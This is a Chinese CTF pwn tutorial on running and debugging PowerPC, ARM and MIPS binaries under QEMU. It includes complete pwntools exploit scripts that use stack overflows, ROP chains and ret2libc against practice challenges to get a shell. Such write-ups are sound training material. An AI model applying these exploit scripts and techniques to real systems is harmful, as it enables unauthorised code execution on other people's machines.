前言
本文的学习环境基于 Ubuntu16.04,在搭建仿真环境运行及调试异构程序,最后给出 CTF-PWN 的例题进行进一步讲解和分析
通过本文,可以学习到 PowerPC, ARM, AARCH64, MIPS
架构的指令集和函数调用约定,在相应的例题里学习对异构程序的调试,解题时可借鉴 x86 架构下的漏洞挖掘和利用思想
PWN 题列表
-
2023 数字中国创新大赛——数字网络安全人才挑战赛 - pwn起源
考点:powerpc-32-big
,能直接劫持跳转的目标地址,通过调试理解控制参数的方式 -
buu 例题 - jarvisoj_typo
考点:arm-32-little
,恢复符号表,栈溢出,简单 ROP 链构造 - SimpleDecoder
考点:arm-32-little
,base64 换表,需要想办法构造 ROP 链,比较巧妙 - ROP_Emporium 例题 - ret2win
考点:mipsel
,栈溢出 - ROP_Emporium 例题 - split
考点:mipsel
,ROP 链构造
QEMU 环境搭建
模拟器安装
QEMU
是一个模拟器,可以模拟多种处理器架构的计算机系统,这是我们实现跨平台运行二进制文件(如在 x86 的机子上跑其它架构程序)的工具
QEMU
对程序的仿真运行主要有两种运行模式: qemu-user
, qemu-user-static
。后者是 QEMU 的静态编译版本
使用 qemu-user
运行动态链接的程序,需要在本地系统中安装与程序相应的库,而 qemu-user-static
则包含了所有必需的库和二进制文件,可以直接运行静态链接的程序
$ sudo apt-get update
$ sudo apt-get install qemu qemu-user qemu-user-static
安装 qemu-system
,用于模拟整个计算机系统的跨平台运行
$ sudo apt-get install qemu-system uml-utilities bridge-utils
运行程序
静态链接程序
使用 qemu-user-static
虚拟机,运行 PowerPC 32-bit
的静态链接程序,命令如下
$ qemu-ppc-static ./pwn
当然还能运行其他架构的程序,同理
-
arm/aarch64
qemu-arm-static/qemu-aarch64-static -
mips/mipsel
qemu-mips-static/qemu-mipsel-static -
ppc/ppc64
qemu-ppc-static/qemu-ppc64-static
动态链接程序
使用 qemu-user
运行动态链接程序,需要先查找并安装对应架构的动态链接库(还是以 PowerPC 架构为例)
$ apt search "libc6-" | grep "powerpc"
$ sudo apt-get install libc6-powerpc-cross
# 安装好的库在 '/usr/powerpc-linux-gnu/lib/' 目录下
对应的,运行别的架构的程序也同理
$ qemu-ppc -L /usr/powerpc-linux-gnu ./pwn
# 通过 `-L` 指定 `/usr/powerpc-linux-gnu` 目录
在命令行中写入 qemu-
后点击 tab
键可以看到 qemu 系列的指令
- PowerPC 64-bit 架构:qemu-ppc64
- PowerPC 32-bit 架构:qemu-ppc
- ARM 64-bit 架构:qemu-aarch64
- ARM 32-bit 架构:qemu-arm
- MIPS 架构:qemu-mips
- 小端序 MIPS 架构:qemu-mipsel
调试程序
安装调试工具
安装 gdb-multiarch
,这是一个支持多种架构的 gdb 工具,可以同时调试多种不同的架构,包括 ppc 架构等
$ sudo apt-get install gdb-multiarch
调试
使用 gdb-multiarch
调试其他架构的程序之前,需要先启动 QEMU
并将程序运行在其中
# './qemu-ppc' 使用 `qemu-user` 工具来模拟 PowerPC 架构
# '-g 1234' 以 gdb 的方式启动 QEMU,并监听 1234端口
# './pwn' 即要运行的程序
$ qemu-ppc -g 1234 -L /usr/powerpc-linux-gnu ./pwn
另开一个终端启动 gdb
# 设置调试器的架构为 powerpc
$ gdb-multiarch -q -ex "set architecture powerpc:common" ./pwn
# 设置大端序,连接到正在运行的程序
(gdb) set endian big
(gdb) target remote :1234
接下来就很熟悉了,跟 x86 下的 debug 差不多
PowerPC
PowerPC
架构下的函数调用约定是通过寄存器传递参数,而不是通过栈传递参数。但当参数数量过多时,会将多余的参数压入栈中,因此栈帧中也会包含函数参数
指令集学习
去学习不同架构的汇编指令集时,可以先只看看基础知识和常见的指令,然后遇到不会的再查
常用寄存器
寄存器 | 说明 |
---|---|
R1/SP | 栈顶指针。 |
R3 | 存储函数调用的第一个参数或函数的返回值。 |
R4-R10 | 函数或系统调用的参数,部分情况下R4寄存器也会作为函数的返回值使用。 |
LR | 链接寄存器,用于存放函数调用结束处的返回地址。 |
PC | 程序计数器。 |
常用指令
PowerPC
架构的指令通常使用缩写的单词组合来表示其功能
-
STB:Store Byte(存储字节)
-
STW:Store Word(存储字)
-
LD:Load(加载,将数据从内存中读取到寄存器中)
-
LI:Load Immediate(加载立即数)
-
LIS:Load Immediate and Shift(装载一个16位立即数到目标寄存器,并将它左移16位,用零填充低位)
-
LWZ:Load Word and Zero(从内存读取一个字单元到寄存器中,并将高位清零)
-
BL:Branch and Link(当前程序返回地址存入寄存器 LR 并跳转)
-
MTCTR:Move to Count Register(将一个32位寄存器的值存储到寄存器 CTR)
-
BCTRL:Branch to Count Register and Link(用于调用函数,将当前程序返回地址存入寄存器 LR 并跳去执行寄存器 CTR 指向的指令)
-
@符号 通常用于表示地址的高位和低位。
下例中表示将FinishedUpload
标签的高位地址加载到 r9 ,r9 左移16位,将FinishedUpload
标签的低位地址与 r9 相加后的值存储到 r3。即实现了让 r3 指向FinishedUpload
标签的地址。
举点例子
li REG, VALUE ;REG = VALUE
add REGA, REGB, REGC ;REGA = REGB + REGC
addi REGA, REGB, VALUE ;REGA = REGB + VALUE
mr REGA, REGB ;REGA = REGB
ld REGA, 0(REGB) ;REGA = *(REGB + 0) 以REGB为基址,偏移量为0寻址
lwz REGA, 0(REGB) ;REGA = *(REGB + 0)
bl func ;PC = &func
mtctr REG ;CTR = REG
bctrl ;LR = PC,PC = CTR
栈帧结构
在 PowerPC
架构下,栈帧的结构一般遵循 ABI (Application Binary Interface,应用程序二进制接口) 规范
PowerPC
的 ABI 规范有多种,如 PowerPC 32-bit ELF ABI
和 PowerPC 64-bit ELFv2 ABI
等,不同的 ABI 规范会对栈帧的结构进行不同的定义
pwn起源
通过 file
指令可以查看到程序是 powerpc-32-big
架构下的静态链接程序,写 exp 的时候别忘了设置字节序为大端字节序
程序运行命令如下
$ qemu-ppc-static ./main
(*(void (__fastcall **)(int))(v5 + 40))(v3);
处存在任意代码执行,通过逆向分析程序逻辑可以发现,只需要在前面的输入点中偏移为 40 个字节的地方,填个一个后门地址即可跳到目标代码块
有个假的后门函数,很明显直接跳到这个函数执行是无法 getshll 或者直接获取到 flag
想办法控制参数然后找能够跳去执行 system 的 gadget 就行,先贴最终 payload 如下
system = 0x100006F0
payload = '/bin/sh\x00' + a*32 + p32(system)
分析过程如下
注意到调用函数的参数是 v3,是前面执行 puts 函数的返回值。所以上面那段 payload 是怎么打通的呢,看伪代码有的话似乎无法理解,所以下面通过调试程序去跟汇编
插入一段调试指令
先启动一个终端运行 exp,再启动另一个终端用 gdb 去连,之后的就跟 x86 下的差不多了
$ gdb-multiarch -q -ex "set architecture powerpc:common" ./main (gdb) target remote :1234
可见我们成功将 /bin/sh
写进了 sp + 0x1c
这段栈空间,此时 R31
指向栈顶,记住这个寄存器,待会要考的
看一下程序在跳转执行我们的 gadget 前的栈空间和寄存器。此时 R3 确实是 puts 函数的返回值,表示输出了 0x13
个字符
在执行到 bctrl
指令前,执行了 mtctr r9
(即 CTR = R9,bctrl --> jmp CTR --> jmp R9)
此时可见 R9 的值正是我们写进的后门地址 0x100006F0
后面比较巧妙的地方就是我们利用的 gadget,在执行 call system
前,能重写 R3
addi r9, r31, 0x1C
mr r3, r9
相当于执行 R3 = *(R31 + 0X1C)
,而 R31 + 0x1c
指向的就是 /bin/sh
在执行 system 前,R3 寄存器确实指向了 /bin/sh
,后面成功 getshell
完整 exp 如下:
#coding:utf8
from pwn import *
context.endian = 'big'
context.log_level = 'debug'
p = process(['qemu-ppc-static','./main'])
#p = process(['qemu-ppc-static','-g','1234','./main'])
system = 0x100006f0
payload = '/bin/sh;' + 'a'*32 + p32(system)
#pause()
p.sendlineafter('comment.\n', payload)
p.interactive()
ARM&AARCH64
ARM
是 32 位的架构,AARCH64
是 64 位的架构
ARM
架构下的函数调用约定为,函数的前四个参数保存在寄存器 r0 - r3
中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0
中
AARCH64
架构下的函数调用约定为,函数的前六个参数保存在寄存器 x0 - x5
中。与ARM架构不同的是,AARCH64
架构下,被调用者不需要实现栈平衡,由调用者负责栈平衡。函数的返回值保存在 x0
中,如果返回值是一个结构体或类似的较大的数据类型,则会使用 x0
和 x1
寄存器记录返回值
指令集学习
常用寄存器
寄存器 | 说明 |
---|---|
R0 | 存储函数的第一个参数或函数的返回结果。 |
R13 (堆栈指针SP) | 指向堆栈的顶部 |
R14(链接寄存器LR) | 链接寄存器,用于存放函数调用结束处的返回地址。 |
R15(程序计数器PC) | 程序计数器。 |
arm32 下,read 的系统调用号是 3,execve 的系统调用号是 0xb
由 r7 来存储系统调用号,r0,r1,r2 为函数调用的前三个参数
常用指令
-
MOV: 数据传输指令,用于将数据从一个寄存器或内存中复制到另一个寄存器或内存中。
-
ADD/SUB: 加法和减法指令。
-
CMP: 比较指令,比较两个操作数的大小关系。
-
B: 分支指令,用于无条件跳转到指定地址。
-
BL: 分支指令,用于跳转到指定地址并将返回地址保存在LR寄存器中,可用于函数调用。
-
LDR/STR: 数据传输指令,用于从内存中读取数据或将数据写入内存。
-
LDR 用于将某些内容从内存加载到寄存器中,例如
LDR R2, [R0]
从R0寄存器中存储的内存地址的值读入R2寄存器。 -
STR 用于将某些内容从寄存器存储到内存地址中,例如
STR R2, [R1]
从R2寄存器中将值存储到R1寄存器中的内存地址中。
-
-
PUSH/POP: 栈操作指令,用于将寄存器中的数据入栈或从栈中弹出数据。
指令 | 功能 | 指令 | 功能 |
---|---|---|---|
MOV | 移动数据 | EOR | 按位异或 |
MVN | 移动数据并取反 | LDR | 加载 |
ADD | 加法 | STR | 存储 |
SUB | 减法 | LDM | 加载多个 |
MUL | 乘法 | STM | 存储多个 |
LSL | 逻辑左移 | PUSH | 入栈 |
LSR | 逻辑右移 | POP | 出栈 |
ASR | 算术右移 | B | 跳转 |
ROR | 右旋 | BL | Link+跳转 |
CMP | 比较 | BX | 分支跳转 |
AND | 按位与 | BLX | Linx+分支跳转 |
ORR | 按位或 | SWI/SVC | 系统调用 |
栈帧结构
与 x86 相比,ARM 架构的栈帧寄存器值不是保存到栈底,而是栈顶,如图
jarvisoj_typo
调试方法如下
先启动一个终端运行 exp,再启动另一个终端用 gdb 去连
$ gdb-multiarch -q -ex "set architecture arm" ./typo (gdb) target remote :1234
arm-32-little
架构的静态链接程序。去符号表,基础栈溢出,有 system 和 '/bin/sh'。所以思路就是找 gadget,控制 r0 寄存器指向 '/bin/sh',然后跳去执行 system 即可
这题的难点之一是找 system 函数。可以使用 rizzo 还原符号表,笔者的 IDA Pro 7.5,装的这个项目
Reverier-Xu/Rizzo-IDA:Rizzo 插件移植到 IDA 7.4+
将 rizzo.py
放到 ida 的插件目录中,笔者的路径是 C:\IDA Pro 7.5\plugins
然后去下相应架构的 libc,用 ida 打开
$ apt search "libc6-" | grep "arm"
$ sudo apt-get install libc6-dbg-arm64-cross
$ cp /usr/aarch64-linux-gnu/lib/libc-2.23.so ./
先用 libc 进行签名 (File -> Produce file -> Rizzo signature file),然后在要恢复符号表的程序里读取签名 (File -> Load file -> Rizzo signature file),即可恢复一部分符号表
另外一种方式就是查下哪里调用了 /bin/sh
,找到字符串后通过 ctrl + x
查看引用,双击进去看看函数实现
最后直接贴 exp 了
from pwn import*
context(arch='arm',log_level='debug')
p = process(['qemu-arm-static','./typo'])
#p = process(['qemu-arm-static','-g','1234','./typo'])
pop_r0_r4_ret = 0x00020904
binsh = 0x0006c384
system = 0x00010BA8
p.send('\n')
payload = 'a'*112
payload += p32(pop_r0_r4_ret)
payload += p32(binsh)
payload += p32(0)
payload += p32(system)
#pause()
sleep(0.1)
p.sendline(payload)
p.interactive()
SimpleDecoder
arm-32-little
架构的动态链接程序
$ file ./chall
./chall: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=829f6a8ec1a5969fb01d69b6fdc4053923e8736a, stripped
这题的 ROP 链构造比较有意思,所以之前记录了,现在拿出来分析一下,主要向大家分享 ROP 链的构造和利用,题目的附件可以到文末进行下载
首先对主函数进行分析,从第一个输入点读入一串数据进行数据 base64 加密,然后与密文进行比较,若一致,即可进入到 if 代码块,再提供了一个存在溢出的输入点
分析这个 base64 加密函数逻辑
base64 换表 0-9A-Za-z+/=
,通过赛博厨子解密得到明文 s1mpl3Dec0d4r
这题的难点在于程序中没有可以直接控 R0 寄存器的 gadget,一般来说可以找到 pop {r0, r4, pc}
这种 gadget
那现在需要解决的问题是:若通过 ROP 执行目标函数的话,一参不可控,需要想办法控制 R0 去执行目标函数,且能够继续 ROP
翻看程序汇编的时候意外找到了这一段非常不错的 gadget,进行分析后发现可以配合上面已经找到的 gadget 实现利用
具体分析如下:通过 0x00010cb0 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
劫持寄存器 R7 为 arg1
,通过0x00010464 : pop {r3, pc}
劫持寄存器 R3 为 func_addr
,然后再去执行上面那一段 gadget,此时会先将 R7 的值赋值到 R0,然后执行到 BLX R3
时就巧妙地构造好了参数和目标函数,相当于执行 call func_addr(arg1)
继续调试时发现后续发现并未执行到跳转指令 BNE loc_10C90
,故能继续走到最后面的 POP {R4-R10,PC}
,即能够将程序流一直控下去
现在分析出完整的控制一参后执行函数的链子,打 ret2libc
即可
exp 如下
from pwn import *
context(arch='arm', os='linux', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# p = process(['qemu-arm', '-g', '1234', '-L', '/usr/arm-linux-gnueabihf/', './chall'])
p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabihf/', './chall'])
# p = remote('', )
libc=ELF("./libc-2.27.so")
elf = ELF("./chall")
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
# debug('''
# # add-symbol-file ./libc-2.27.so
# target remote :1234
# b *0x00010C34
# c
# ''')
payload = 's1mpl3Dec0d4r'
p.sendlineafter('msg> ', payload)
pop_7_ret = 0x00010CB0 # POP {R4-R10,PC}
pop_r3_ret = 0x00010464 # POP {R3,PC}
mov_r0_r7_ret = 0x00010CA0
puts_got = elf.got['puts']
puts_plt=elf.plt['puts']
payload = 'a'*0x2c
payload += p32(pop_r3_ret) + p32(puts_plt)
payload += p32(pop_7_ret) + p32(puts_got)*7
payload += p32(mov_r0_r7_ret)
payload += p32(0x00010C30)*10 # main
p.sendlineafter('comment> ', payload)
libc_base = u32(p.recv(4)) - libc.sym['puts']
print("puts: "+hex(libc_base))
pop_r0_ret = libc_base + 0x0011e54c
binsh = libc_base + 0x00131bec
system = libc_base + 0x000391E4
payload = 's1mpl3Dec0d4r'
p.sendlineafter('msg> ', payload)
payload = 'a'*0x2c
payload += p32(pop_r0_ret) + p32(binsh)
payload += p32(system)
p.sendlineafter('comment> ', payload)
exp()
p.interactive()
MIPS
MIPS
指令架构属于 RISC(精简指令集)体系,是一种普遍应用于小型设备的处理器架构,使用 MIPS
指令架构的 Linux 系统便被称为 MIPS Linux
,MIPS
架构广泛应用于嵌入式系统领域
MIPS
是大端 (big-endian) 架构,而 MIPSEL
是小端 (little-endian) 架构,但它们指令的用法是差不多的
指令集学习
各寄存器作用如下
REGISTER | NAME | USAGE |
---|---|---|
$0 | $zero | 存储常量 0 (constant value 0) |
$1 | $at | 保留给汇编器 (Reserved for assembler) |
$2-$3 | $v0-$v1 | 存放函数调用返回值或表达式 (values for results and expression evaluation) |
$4-$7 | $a0-$a3 | 作为函数调用的前四个参数 (arguments) |
$8-$15 | $t0-$t7 | 供汇编程序使用的临时寄存器 临时变量 |
$16-$23 | $s0-$s7 | 调用子函数时 用于保存原寄存器的值 (saved) |
$24-$25 | $t8-$t9 | 供汇编程序使用的临时寄存器 补充t0−t7 |
$26-$27 | k0−k1 | 中断/异常处理程序使用 保存系统参数 |
$28 | $gp | 全局指针 (Global Pointer) |
$29 | $sp | 堆栈指针 (Stack Pointer) |
$30 | $fp | 帧指针 (Frame Pointer) |
$31 | $ra | 返回地址 (return address) |
除此以外还有 3 个特殊的寄存器,分别是 PC (程序计数器)、HI (乘除结果高位寄存器)、LO (乘除结果低位寄存器)
其他 MIPS 相关基础知识(MIPS 指令集、MIPS32 架构函数调用方式、MIPS32 架构函数调用的栈布局)可移步笔者的另一篇文章 IoT 安全从零到掌握:超详尽入门指南(基础篇)—— 0x01 MIPS Linux
ret2win
mipsel 架构,需要下载相应架构 libc
$ apt search "libc6-" | grep "arm"
$ sudo apt-get install libc6-dbg-arm64-cross
拖入 ida 分析,read 处存在栈溢出
有后门函数,直接利用栈溢出劫持返回地址到后门即可
exp 如下
from pwn import *
context(arch='arm', os='linux')
context.log_level = 'debug'
p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./ret2win_mipsel"])
payload = "a" * 0x24 + p32(0x00400A00)
p.sendafter('>', payload)
p.interactive()
split
mipsel 架构,拖入 ida 分析,同样在 read 处存在栈溢出
有可利用的字符串,且存在 system_plt 可利用
ROP 链构造
ROPgadget --binary "./split_mipsel" | grep -E ": lw .*a0, .*sp"
可以利用此 gadget 从栈中读取地址到 r0
0x00400a20 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
exp如下
from pwn import *
context(arch='mips', os='linux')
context.log_level = 'debug'
p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./split_mipsel"])
payload = 'a' * 36
payload += p32(0x00400a20)
payload += 'bbbb'
payload += p32(0x00400B70)
payload += p32(0x00411010)
p.sendafter(">", payload)
p.interactive()
- SimpleDecoder附件.zip 下载